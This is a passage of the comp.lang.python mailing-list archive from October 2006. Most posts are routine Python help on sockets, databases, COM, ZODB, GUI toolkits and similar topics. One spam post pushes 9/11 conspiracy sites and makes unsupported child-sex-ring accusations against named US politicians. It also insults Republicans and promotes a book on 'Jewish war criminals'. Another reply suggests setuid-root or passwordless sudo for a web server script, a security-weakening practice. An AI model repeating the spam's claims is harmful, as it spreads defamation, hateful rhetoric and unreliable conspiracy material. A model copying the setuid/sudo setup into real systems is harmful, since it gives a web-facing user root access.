From: timr at probo.com (Tim Roberts)
Date: Thu, 05 Oct 2006 07:38:45 GMT
Subject: hex sending
References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com>
Message-ID: <cid9i2ps9084jeelepkktd45u25kfuqol7@4ax.com>

"hiroc" <hiroc13 at hotmail.com> wrote:

>s.send("abc") # send test string
>
>I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc"
>
>hoW?

One ugly way is
  s.send( "\x10\x06\x00\x0f\x02\xbc\xd1" )
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From g.brandl-nospam at gmx.net  Thu Oct  5 04:56:51 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Thu, 05 Oct 2006 10:56:51 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1331.1160038243.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>	<eg2fl5$6ei$1@news.albasani.net>
	<mailman.1331.1160038243.10491.python-list@python.org>
Message-ID: <eg2hcn$8i8$1@news.albasani.net>

Fredrik Lundh wrote:
> Georg Brandl wrote:
> 
>>> The python foundation suggests a non-python non-open-source bugtracking
>>> tool for python.
>> 
>> Actually, it suggests two bugtracking tools, one of them written in
>> Python.
> 
> the announcemant's subject line said "recommendation for a new issue 
> tracker", though; not "we need the community's help before we can make a 
> final recommendation".

Granted.

> in fact, only 20% of the announcement talked about Python; the rest was 
> something that looked a lot like a press release from the non-python 
> hosting company, so it's not that strange that people missed the few 
> sentences in the middle that explained that the subject line wasn't 
> entirely accurate.

I actually stopped reading after Brett's signature, so I didn't have the
20% figure in my mind :)

Georg


From deets at nospam.web.de  Thu Oct  5 16:36:20 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Thu, 05 Oct 2006 22:36:20 +0200
Subject: Request for recommendations: shared database without a server
In-Reply-To: <mailman.1383.1160079722.10491.python-list@python.org>
References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>	<4ol6dhFf62gdU1@uni-berlin.de>
	<mailman.1383.1160079722.10491.python-list@python.org>
Message-ID: <4ol8m5Fev9maU1@uni-berlin.de>

Tim Chase schrieb:
>> Access might really be the best solution. It is pretty good
>> for what it is supposed to do, and the quick prototyping and
>> UI-designing are strong arguments for it, especially if there
>> already is a bias towards it.
>>
>> I also _think_ that the whole "db on a shared volume" thing
>> works comparably neat.
> 
> Just a caveat from past experience...I've had trouble with Access (at 
> least older version) sharing DBs on a network drive.  It didn't work 
> /too/ badly, but it scaled horribly.  3 concurrent users was noticably 
> slow.  5 concurrent users was painful.  Above 10 users was agony.

Yeah, I recall that dimly, too. But at least it worked, only when 
putting really much stress on the system it produced inconsistencies 
such as doubledly assigned ids and the like. Seems to me that they are 
pretty conservative regarding locking.

> Fortunately, I was one of the ones redesigning the replacement system to 
> actually use a database server.  Granted, as merely a PFY at the time, I 
> didn't have much input into the choice of server (MS-SQLServer) nor into 
> the language (Visual FoxPro), just got to execute the plans of the 
> higher-ups.

The architectural benefits are for sure, therefore my suggestion to tear 
down some walls.

But VFP really can get messy... and at least the late-90ies, early 21stK 
ms sql sucked pretty badly, feature-wise access/JET beat the crap out of 
it any time back then...

diez


From gioco at nekhem.com  Thu Oct  5 12:25:17 2006
From: gioco at nekhem.com (Corrado Gioannini)
Date: Thu, 5 Oct 2006 18:25:17 +0200
Subject: Why do this?
In-Reply-To: <Xns985378283690Dduncanbooth@127.0.0.1>
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
Message-ID: <20061005162517.GF1764@zephyr>

On Thu, Oct 05, 2006 at 10:48:36AM +0000, Duncan Booth wrote:
> The other main reason for preferring format strings is that they make it 
> easier to refactor the code. If you ever want to move the message away from 
> where the formatting is done then it's a lot easier to extract a single 
> string than it is to clean up the concatenation.

This is a good point imho. 
I often do things like this:

  sql = a_complex_select_sql % (id_foo, value_bar, ...)
  cursor.execute(sql)

inside the body of a function (or a class method), where
a_complex_select_sql is a string, containing several %s, %d ecc., 
that is defined globally (or somewhere else in the class).

c.
-- 
"Thought is only a flash between two long nights,
                                         but this flash is everything."
                                                          (H. Poincar?)


From tjreedy at udel.edu  Tue Oct 10 12:04:32 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 10 Oct 2006 12:04:32 -0400
Subject: Can't get around "IndexError: list index out of range"
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com><pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au><1160332330.684420.276560@e3g2000cwe.googlegroups.com><mailman.61.1160333064.11739.python-list@python.org><1160335473.625244.261640@m7g2000cwm.googlegroups.com><mailman.76.1160338331.11739.python-list@python.org><1160345922.051578.146630@i3g2000cwc.googlegroups.com><mailman.97.1160379058.11739.python-list@python.org><sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>
	<1160455280.118212.202770@b28g2000cwb.googlegroups.com>
Message-ID: <egggaf$3kr$1@sea.gmane.org>


"MonkeeSage" <MonkeeSage at gmail.com> wrote in message 
news:1160455280.118212.202770 at b28g2000cwb.googlegroups.com...
> But even so, here is a simple use case from the standard library
> (python 2.5 release source):
>
> In Libs/site.py, lines 302-306:
>
>            try:
>                for i in range(lineno, lineno + self.MAXLINES):
>                    print self.__lines[i]
>            except IndexError:
>                break

Is there an outer loop being 'break'ed?  If not, it should be pass instead.

> With my proposal, that could be written as:
>
>            for i in range(lineno, lineno + self.MAXLINES):
>                if self.__lines.has_index(i):
>                    print self.__lines[i]
>                else:
>                    break

This break is swallowed by the for loop, so not exactly equivalent, I 
think.  In any case, these are both clumsy and I believe I would instead 
write something like

for i in range(lineno, len(self.__lines)):
  print self.__lines[i]

or even better, use islice -- for line in islice(...): print line
So not a persuasive use case to me.

Terry Jan Reedy 





From python.list at tim.thechases.com  Sat Oct  7 23:12:34 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sat, 07 Oct 2006 22:12:34 -0500
Subject: need some regular expression help
In-Reply-To: <roy-35D3AC.22300607102006@reader1.panix.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<roy-35D3AC.22300607102006@reader1.panix.com>
Message-ID: <45286CA2.4000908@tim.thechases.com>

> Why does it need to be a regex?  There is a very simple and well-known 
> algorithm which does what you want.
> 
> Start with i=0.  Walk the string one character at a time, incrementing i 
> each time you see a '(', and decrementing it each time you see a ')'.  At 
> the end of the string, the count should be back to 0.  If at any time 
> during the process, the count goes negative, you've got mis-matched 
> parentheses.
> 
> The algorithm runs in O(n), same as a regex.
> 
> Regex is a wonderful tool, but it's not the answer to all problems.

Following Roy's suggestion, one could use something like:

 >>> s = '42^((2x+2)sin(x)) + (log(2)/log(5))'
 >>> d = {'(':1, ')':-1}
 >>> sum(d.get(c, 0) for c in s)
0


If you get a sum() > 0, then you have too many "(", and if you 
have sum() < 0, you have too many ")" characters.  A sum() of 0 
means there's the same number of parens.  It still doesn't solve 
the aforementioned problem of things like ')))((('  which is 
balanced, but psychotic. :)

-tkc






From ptmcg at austin.rr._bogus_.com  Fri Oct 13 10:12:10 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 13 Oct 2006 14:12:10 GMT
Subject: SOAPpy and callback
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
Message-ID: <_8NXg.46981$DU3.27448@tornado.texas.rr.com>

"Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
news:4p94a0Fhr1amU1 at uni-berlin.de...
> fabien.benard at gmail.com schrieb:
>> Hello,
>>
>> I'm trying to find how to use a callback in a SOAP client using SOAPpy.
>> Does SOAPpy have to manage it, or does Python include some API to do
>> it?
>
> I've never seen any callback mentioned in SOAP. Are you sure this is 
> possible with any SOAP implementation, at least standard-wise?
>
> Diez

This is most definitely possible, in fact it is the basis for a new 
asynchronous data collection standard for semiconductor equipment, Interface 
A (replacing the ancient SECS/GEM interface, originally designed to work 
over RS-232).  However, it is a major pain to implement.

As you suggest, you cannot do this from a simple browser or pure SOAP 
client.  To support SOAP callbacks, the client must also itself be a SOAP 
server.  The client sends its own callback server's URL to the primary 
server, and when callbacks are needed, they are sent to that callback URL. 
This really does get quite tricky, though.  For one thing, the vagaries of 
network identification make it unsure whether the URL composed by the client 
for its callback is meaningful/accessible to the server.

In addition, if you are considering implementing this over the untrusted 
internet, you should use SSL authentication both ways (although this further 
complicates your client).

-- Paul




From martin.dion at gmail.com  Wed Oct 18 18:19:38 2006
From: martin.dion at gmail.com (martdi)
Date: 18 Oct 2006 15:19:38 -0700
Subject: pexpect with apache
In-Reply-To: <1161209800.433795.303600@e3g2000cwe.googlegroups.com>
References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>
	<1161202610.865795.63830@f16g2000cwb.googlegroups.com>
	<1gxZg.3425$ya1.2766@news02.roc.ny>
	<1161209800.433795.303600@e3g2000cwe.googlegroups.com>
Message-ID: <1161209978.061600.313110@e3g2000cwe.googlegroups.com>

Since it wont require pyexpect, and based on the operations you
accomplish with your python script, maybe that a bash script instead of
a python one might be the best tool for the job you're trying to
accomplish.


martdi wrote:
> Sudo is probably the best solution here, since in the file sudo.conf
> you could restrict the www user only to the python script that requires
> it.
>
> Also, using either sudo or the setuid flag would remove the need of
> pexpect since all the commands will be run as the designated user.
>
> for setuid flag:
> chmod u+s pythonScript.py
> chown root pythonScript.py
>
> for the sudo solution, add an entry to /etc/sudo.conf or /etc/sudoers ,
> depending on distro:
> the syntax for a line in sudo.conf is:
>     user hostlist = (userlist) commandlist
>
> so you might want to add:
>     www localhost = NOPASSWD: /var/www/htdocs/pythonScript.py
>
> note:
>     Replace the /var/www/htdocs/pythonScript.py with the path to where
> your script is
>     the NOPASSWD: is a flag that tells sudo that no password is
> required
>
> Lee Harr wrote:
> > > Well, first i don't think it is a good idea to have the python script
> > > tu su to root, but for it to work, i think (Totally unsure about that)
> > > www has to be in group wheel to be able to su.
> > 
> > 
> > Maybe sudo can help here.



From bignose+hates-spam at benfinney.id.au  Thu Oct 19 19:39:06 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 20 Oct 2006 09:39:06 +1000
Subject: How to use python in TestMaker
References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
	<mailman.733.1161232470.11739.python-list@python.org>
	<1161257895.508598.260290@m7g2000cwm.googlegroups.com>
Message-ID: <87pscnyixx.fsf@benfinney.id.au>

[Please don't top-post your responses.]

"kelin,zzf818 at gmail.com" <zzf818 at gmail.com> writes:

> I just can't find a good tool to do Unit Test with Python. Could you
> please tell me any?

Python comes with batteries included.

    <URL:http://docs.python.org/lib/module-unittest>

-- 
 \       "I went to a general store. They wouldn't let me buy anything |
  `\                                  specifically."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From jstroud at mbi.ucla.edu  Sun Oct 29 06:41:36 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 29 Oct 2006 11:41:36 GMT
Subject: enumerate improvement proposal
In-Reply-To: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
Message-ID: <Qr01h.17564$TV3.9445@newssvr21.news.prodigy.com>

James Stroud wrote:
> I think that it would be handy for enumerate to behave as such:
> 
> def enumerate(itrbl, start=0, step=1):
>   i = start
>   for it in itrbl:
>     yield (i, it)
>     i += step
> 
> This allows much more flexibility than in the current enumerate, 
> tightens up code in many cases, and seems that it would break no 
> existing code. Yes, I have needed this behavior with enumerate, like 
> tonight and the current example. I put the "step" parameter in for 
> conceptual symmetry with slicing.
> 
> Here is a case use (or is it use case?):
> 
> 
> # with the proposed enumerate
> import operator
> def in_interval(test, bounds, first=1, reverse=False):
>   op = operator.gt if reverse else operator.lt   # python 2.5
>   bounds = sorted(bounds, reverse=reverse)
>   for i, bound in enumerate(bounds, first):
>     if op(test, bound):
>       return i
>   return i + 1
> 
> 
> # with the existing enumerate
> import operator
> def in_interval(test, bounds, first=1, reverse=False):
>   op = operator.gt if reverse else operator.lt   # python 2.5
>   bounds = sorted(bounds, reverse=reverse)
>   for i, bound in enumerate(bounds):
>     if op(test, bound):
>       return i + first
>   return i + first + 1
> 
> 
> py> # eg
> ...
> py> in_interval(8, bounds)
> 2
> py> in_interval(1, bounds)
> 1
> py> in_interval(1, bounds, reverse=True)
> 5
> py> in_interval(8, bounds, reverse=True)
> 4
> py> in_interval(20, bounds, reverse=True)
> 2
> 
> Of course, I haven't used step here. Even in this trivial example the 
> proposed enumerate cleans the code and logic, eliminating a couple of 
> plus signs. For this real-world example, the practical requirement for 
> reversing the bins obfuscates somewhat the de-obfuscation provided by 
> the proposed enumerate. But I think that it might be obvious that the 
> proposed enumerate could help significantly in cases a bit more 
> complicated than this one.
> 
> Any thoughts?
> 
> James

After a brief reflection, I realized that I just described a 
"for-to-step-do" style loop one might find in many other languages, most 
notably BASIC.

James


From thermate at india.com  Tue Oct  3 15:13:32 2006
From: thermate at india.com (thermate at india.com)
Date: 3 Oct 2006 12:13:32 -0700
Subject: ** NEW SCIENTIFIC AND FORENSIC JOURNAL LAUNCHED ** and 1MILLION reward
Message-ID: <1159902812.245148.153910@m73g2000cwd.googlegroups.com>

=====================================================================
Journal of 911 studies:
http://www.journalof911studies.com/
=====================================================================
$1 Million Challenge/REWARD Details regarding 9/11:
http://reopen911.org/Contest.htm
=====================================================================
Background info:
http://st911.org/
=====================================================================
REPUBLICANS are ANTICHRIST-FASCIST Bastards, Herbert Bush, Ronald
Reagan and NOW Mark Foley, VIDEO EVIDENCE
http://video.google.com/videoplay?docid=359924937663867563&q=conspiracy+of+silence&hl=en
http://www.voxfux.com/features/bush_child_sex_coverup/franklin.htm
There are two main suspects in the child ring were Craig Spence and
Lawrence E. King Jr. Below are some pictures of them. Both were
involved in the Republican party. King sang the National athem at two
republican national conventions during the 1980s. He served time in
jail for bank fraud and is now living somewhere on the east coast.
Spence was an important Republican lobbyist, who feared that, because
he knew something very dark, implicating the very most powerful man in
America, George H. W. Bush, that he would be killed by the CIA at his
murder would be made to look like a suicide. He was later found dead in
a hotel room - the CIA connected coroner declared the bizarre death
-suicide. Several of his partners went to jail for being involved in
the adult part of the homosexual sex ring. Democrats were also involved
in this as well, so don't expect them to expose the sex ring.

=====================================================================
HOW 9/11 actually may have happened , WE HAVE BEEN MADE FOOLS OF THE
CENTURY by the media
From:
American Patriot Friends Network

http://www.apfn.org/apfn/WTC_STF.htm

The only thing to be afraid is cowardice itself. The news is spreading
like a jungle fire.
In your workplace, send email to everyone and anonymously about this
site and other top sites

Make a free email account:
www.gmail.com
=====================================================================
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Product #: 10011

Documents and Testimony on Jewish war Criminals by Reb Moshe Shonfeld

This out of print book, published in 1977 describing the brutal Zionist
role which prevented the rescue of the holocaust victims,has been
reproduced with permission of the author.
http://www.jewsagainstzionism.com/bookstore/store.cfm?catcode=1&catname=English%20Books
www.nkusa.org
=====================================================================



From sybrenUSE at YOURthirdtower.com.imagination  Mon Oct 16 14:46:14 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Mon, 16 Oct 2006 20:46:14 +0200
Subject: How to send E-mail without an external SMTP server ?
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
	<1160984719.088664.76350@e3g2000cwe.googlegroups.com>
	<mailman.559.1160989638.11739.python-list@python.org>
Message-ID: <slrnej7krm.o0t.sybrenUSE@schuimige.stuvel.eu>

fdu.xiaojf at gmail.com enlightened us with:
> Yes, I want to find a way to send email without an external smtp server.

You can't. Use a DNS server to find the MX record of the destination
domain, connect to that SMTP server, then deliver the mail.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From whatintheworldisthat at gmail.com  Sat Oct 14 00:09:44 2006
From: whatintheworldisthat at gmail.com (whatintheworldisthat at gmail.com)
Date: 13 Oct 2006 21:09:44 -0700
Subject: IDE that uses an external editor?
References: <mailman.463.1160759109.11739.python-list@python.org>
	<1160779878.373795.74230@f16g2000cwb.googlegroups.com>
Message-ID: <1160798984.373754.191970@e3g2000cwe.googlegroups.com>

Like said before, pida is a great IDE that supports vim as its external
editor and also the default editor called Culebra, I've used pida
myself and it has some nice features. It's still rough around the edges
and has bugs, but its useable.

It's written with the Kiwi framework, wich is a wrapper for PyGTK.

It has a codeoutliner pane (using ctags I think, but it looks very
clean), file explorer pane, project files, todo list, and even a built
in doc viewer (didnt work very wll with some docs). It also has a
todolist pane and a pane that displays errors caught by PyLint (very
useful). It has a built-in terminal and python interpreter. Supports
CVS and SVN for your projects!

For the most part I just use Vim alone, but pida definetely seems to
have a lot of potential. Be sure to get the latest version; I would use
pida if it wasnt for some minor bugs.

http://pida.berlios.de/



From tejovathi.p at gmail.com  Tue Oct 17 03:58:59 2006
From: tejovathi.p at gmail.com (Teja)
Date: 17 Oct 2006 00:58:59 -0700
Subject: COM Error -- Urgent help
In-Reply-To: <mailman.619.1161071484.11739.python-list@python.org>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<45347682$0$25906$ba4acef3@news.orange.fr>
	<1161070831.102884.37930@e3g2000cwe.googlegroups.com>
	<mailman.619.1161071484.11739.python-list@python.org>
Message-ID: <1161071939.165951.221510@i42g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> Teja wrote:
>
> > I am sorry. By func(dest) I meant MyNavigate(dest). Can u please help
> > me out...
>
> nobody here can read your mind.  please post the code you're actually
> using, *and* the error you're getting.
>
> </F>

Thnks for your immediate reply.

Here is the code:

I have a class GenericFunctions which is defined as
follows:

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

class GenericFunctions:

       def __init__(self):
             print "In Constructor of Generic Functions"

       def MyNavigate(self,dest):
             ie.Navigate(dest)


Now there  is another file Main.py which is defined as follows:

import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()

def threadFunction(self,dest):
            pythoncom.CoInitialize()
            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
            my_ie=win32com.client.Dispatch(d)
            obj.MyNavigate(dest)          # this is gving an error.
            pythoncom.CoUninitialize()

if __name__ == "__main__":

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i??e)

       thread.start_new_thread(self.nav, (s,'www.google.com')

I am getting an attribute error



From breakfastea at gmail.com  Fri Oct  6 14:26:46 2006
From: breakfastea at gmail.com (Camellia)
Date: 6 Oct 2006 11:26:46 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160158803.404425.316430@h48g2000cwc.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
	<1160158803.404425.316430@h48g2000cwc.googlegroups.com>
Message-ID: <1160159206.781049.24930@c28g2000cwb.googlegroups.com>

Well...It' doesn't, have you run it yet?

its hypothesis is people don't predict a set of things randomly.


Oxyd wrote:
> Um...  It looks to me like it just counts the number of times you
> entered 't'...



From horpner at yahoo.com  Wed Oct 18 22:05:26 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 19 Oct 2006 02:05:26 GMT
Subject: making a valid file name...
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
	<mailman.647.1161104867.11739.python-list@python.org>
	<slrneja46b.10g.horpner@FIAD06.norwich.edu>
	<mailman.651.1161107074.11739.python-list@python.org>
	<1161214360.953216.284600@k70g2000cwa.googlegroups.com>
Message-ID: <G3BZg.7434$5i7.4414@newsreading01.news.tds.net>

On 2006-10-18, bearophileHUGS at lycos.com <bearophileHUGS at lycos.com> wrote:
> Tim Chase:
>> In practice, however, for such small strings as the given
>> whitelist, the underlying find() operation likely doesn't put a
>> blip on the radar.  If your whitelist were some huge document
>> that you were searching repeatedly, it could have worse
>> performance.  Additionally, the find() in the underlying C code
>> is likely about as bare-metal as it gets, whereas the set
>> membership aspect of things may go through some more convoluted
>> setup/teardown/hashing and spend a lot more time further from the
>> processor's op-codes.
>
> With this specific test (half good half bad), on Py2.5, on my PC, sets
> start to be faster than the string search when the string "good" is
> about 5-6 chars long (this means set are quite fast, I presume).
>
> from random import choice, seed
> from time import clock
>
> def main(choice=choice):
>     seed(1)
>     n = 100000
>
>     for good in ("ab", "abc", "abcdef", "abcdefgh",
>                  "abcdefghijklmnopqrstuvwxyz"):
>         poss = good + good.upper()
>         data = [choice(poss) for _ in xrange(n)] * 10
>         print "len(good) = ", len(good)
>
>         t = clock()
>         for c in data:
>             c in good
>         print round(clock()-t, 2)
>
>         t = clock()
>         sgood = set(good)
>         for c in data:
>             c in sgood
>         print round(clock()-t, 2), "\n"
>
> main()

On my Python2.4 for Windows, they are often still neck-and-neck
for len(good) = 26. set's disadvantage of having to be
constructed is heavily amortized over 100,000 membership
tests. Without knowing the usage pattern, it'd be hard to choose
between them.

-- 
Neil Cerutti


From durumdara at gmail.com  Tue Oct  3 07:56:36 2006
From: durumdara at gmail.com (durumdara)
Date: Tue, 03 Oct 2006 13:56:36 +0200
Subject: Best way to handle large lists?
In-Reply-To: <prrUg.1662$We.477@trndny08>
References: <prrUg.1662$We.477@trndny08>
Message-ID: <45224FF4.6040406@gmail.com>

Chaz Ginger ?rta:
> I have a system that has a few lists that are very large (thousands or
> tens of thousands of entries) and some that are rather small. Many times
> I have to produce the difference between a large list and a small one,
> without destroying the integrity of either list. I was wondering if
> anyone has any recommendations on how to do this and keep performance
> high? Is there a better way than
>
> [ i for i in bigList if i not in smallList ]
>
> Thanks.
> Chaz
>   
Hi !

If you have big list, you can use dbm like databases.
They are very quick. BSDDB, flashdb, etc. See SleepyCat, or see python help.

In is very slow in large datasets, but bsddb is use hash values, so it
is very quick.
The SleepyCat database have many extras, you can set the cache size and
many other parameters.

Or if you don't like dbm style databases, you can use SQLite. Also
quick, you can use SQL commands.
A little slower than bsddb, but it is like SQL server. You can improve
the speed with special parameters.

dd



From XX.XmcX at XX.XmclaveauX.com  Wed Oct 18 01:17:34 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Wed, 18 Oct 2006 07:17:34 +0200
Subject: Restart a Python COM Server
References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com>
Message-ID: <mn.91b57d6a505f869a.46195@XX.XmclaveauX.com>

Hi!

It is the normal behavior of COM.

Note that, Python being dynamic, you can modify Python script, OF THE 
INTERIOR, during execution.

-- 
@-salutations

Michel Claveau




From no-spam at no-spam-no-spam.com  Wed Oct 25 20:27:54 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 02:27:54 +0200
Subject: ZODB for inverted index?
In-Reply-To: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
Message-ID: <ehovee$1sad$1@ulysses.news.tiscali.de>

vd12005 at yahoo.fr wrote:
> Hello,
> 
> While playing to write an inverted index (see:
> http://en.wikipedia.org/wiki/Inverted_index), i run out of memory with
> a classic dict, (i have thousand of documents and millions of terms,
> stemming or other filtering are not considered, i wanted to understand
> how to handle GB of text first). I found ZODB and try to use it a bit,
> but i think i must be misunderstanding how to use it even after reading
> http://www.zope.org/Wikis/ZODB/guide/node3.html...
> 
> i would like to use it once to build my inverted index, save it to disk
> via a FileStorage,
> 
> and then reuse this previously created inverted index from the
> previously created FileStorage, but it looks like i am unable to
> reread/reload it in memory, or i am missing how to do it...
> 
> firstly each time i use the code below, it looks everything is added
> another time, is there a way to rather rewrite/replace it? and how am i
> suppose to use it after an initial creation? i thought that using the
> same FileStorage would reload my object inside dbroot, but it doesn't.
> i was also interested by the cache mecanisms, are they transparent?
> 
> or maybe do you know a good tutorial to understand ZODB?
> 
> thx for any help, regards.
> 
> here is a sample code :
> 
> import sys
> from BTrees.OOBTree import OOBTree
> from BTrees.OIBTree import OIBTree
> from persistent import Persistent
> 
> class IDF2:
>     def __init__(self):
>         self.docs = OIBTree()
>         self.idfs = OOBTree()
>     def add(self, term, fromDoc):
>         self.docs[fromDoc] = self.docs.get(fromDoc, 0) + 1
>         if not self.idfs.has_key(term):
>             self.idfs[term] = OIBTree()
>         self.idfs[term][fromDoc] = self.idfs[term].get(fromDoc, 0) + 1
>     def N(self, term):
>         "total number of occurrences of 'term'"
>         return sum(self.idfs[term].values())
>     def n(self, term):
>         "number of documents containing 'term'"
>         return len(self.idfs[term])
>     def ndocs(self):
>         "number of documents"
>         return len(self.docs)
>     def __getitem__(self, key):
>         return self.idfs[key]
>     def iterdocs(self):
>         for doc in self.docs.iterkeys():
>             yield doc
>     def iterterms(self):
>         for term in self.idfs.iterkeys():
>             yield term
> 
> storage = FileStorage.FileStorage("%s.fs" % sys.argv[1])
> db = DB(storage)
> conn = db.open()
> dbroot = conn.root()#
> if not dbroot.has_key('idfs'):
>     dbroot['idfs'] = IDF2()
> idfs = dbroot['idfs']
> 
> import transaction
> for i, line in enumerate(open(sys.argv[1])):
>     # considering doc is linenumber...
>     for word in line.split():
>         idfs.add(word, i)
> # Commit the change
> transaction.commit()
> 
> ---
> i was expecting :
> 
> storage = FileStorage.FileStorage("%s.fs" % sys.argv[1])
> db = DB(storage)
> conn = db.open()
> dbroot = conn.root()
> print dbroot.has_key('idfs')
> 
> => to return True
> 


you have to have Persistent as base class

class IDF2(Persistent):
 ....

and maybe (?) reset idfs.idfs=idfs.idfs  or do a idfs._p_changed=1 thing or so - don't remember the latter exactly.



but doubt if the memory management of ZODB is intelligent enough (with some extra control?) really improve your task in terms of mem usage (swapping blackout).


Other ideas:

* This is often the best method to balance mem & disk in extreme index applications: use directly the filesystem (thus (escaped) filenames/subdirs) for your index. You just append your pointers to the files. The OS cache system is already a good careful mem/disc balancer - you can do some extra cache logic in your application. This works best with filesystems who can deal well with small files
(but maybe many of your words have long index lists anyway...)
( To maybe reduce number of files/inodes bulk many items into one pickle/shleve/anddbm.. file by using sub hash keys. Example: 1 million words => 10000 files x ~100 sub-entries x 10000 refs.  )

* a fast relational/dictionary database (mysql)

* Advanced memory mapped file techniques / C-OODBMS ( ObjectStore/PSE ); 64bit OS if > 3GB
  ( thats the technique telecoms often run their tables fast  - but this is maybe too advanced ... ) 


-robert


From Eric_Dexter at msn.com  Sat Oct 21 12:46:27 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 21 Oct 2006 09:46:27 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161447222.660369.196370@i3g2000cwc.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
	<1161447222.660369.196370@i3g2000cwc.googlegroups.com>
Message-ID: <1161449187.222891.275240@e3g2000cwe.googlegroups.com>

pygtk can be a pain to install and some of the librarys that are built
on top of it have copyrights and such.  apple for the fonts and there
is one for the images.  It also can be a pain to install..  It would be
nice to see it as a low cost comercial package that is already put
together say $20 or so then to try to workout a distribution for some
of that.  (but then I believe apple should buy borland).  I think
sci-pi (If I have the name right) would be a very good platform to
extend gtk.  A) it is well documentated B) they made it as easy as
possible to install.  pywin might have some acess to graphics but it is
windows only and the documentation is sparce.

http://www.dexrow.com


sturlamolden wrote:
> Wektor wrote:
>
> > wx has also graphical editors like Glade (there is a wxGlade project)
> > giving a xml description of a window and its cross platform.
>
> If you are thinking about XRC, then beware that this XML don't solve
> any problems, it just creates another. XRC and libglade do not compare.
> libglade makes the GUI development easy and the program code clean and
> easy to read. XRC makes the GUI development difficult and the program
> code convoluted and difficult to read.
>
> Also wxGlade is not GLADE. In particular, wxGlade is unstable and tend
> to crash or do stupid things. But if your alternative is to hand-code
> the wxPython GUI, then wxGLADE is nevertheless the better option.
>
> > On the other hand its a pity that there isnt much choice in cross
> > platform (win mac lin) GUI platforms until now i was a great fan of GTK
> > but there isnt a proper port for Mac.
>
> GTK is being ported to Aqua, but the port it is in its early stages.
>
> > Its also a pity that no one didnt do something based on OpenGL with
> > python (or maybe im wrong) it could be cool and really cross-platform.
>
> You are wrong. There are PyOpenGL and there is cross-platform GUI and
> game development platforms that use it (PyGTK, wxPython, PyGame). There
> are also PyOgre, which are more pythonic than using OpenGL directly.



From steve at holdenweb.com  Mon Oct 23 16:10:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 21:10:05 +0100
Subject: python2.5 importerror on md5
In-Reply-To: <1161631938.267555.303790@h48g2000cwc.googlegroups.com>
References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>	<mailman.1002.1161631426.11739.python-list@python.org>
	<1161631938.267555.303790@h48g2000cwc.googlegroups.com>
Message-ID: <ehj7gs$ifb$1@sea.gmane.org>

samn wrote:
>>I believe the _md5 module (as opposed to the md5 module) is a compiled
>>extension. I'm guessing the import succeeds on the machine you used to
>>build python.
>>
>>Try
>>
>>   import _md5
>>   print _md5.__file__
>>
>>and see if you can find out where it's being loaded from. You'll
>>probably find that you also need to tailor the sysprefix parameter, or
>>some such.
>>
> 
> 
> You are correct that import md5 works fine on the machine that I
> compiled on and only has problems on the other machine. I wasn't able
> to import _md5 , even on the machine I compiled on.
> Here's what I get on the machine I compiled on:
> Python 2.5 (r25:51908, Oct 23 2006, 13:38:11)
> [GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>import md5
>>>>import _md5
> 
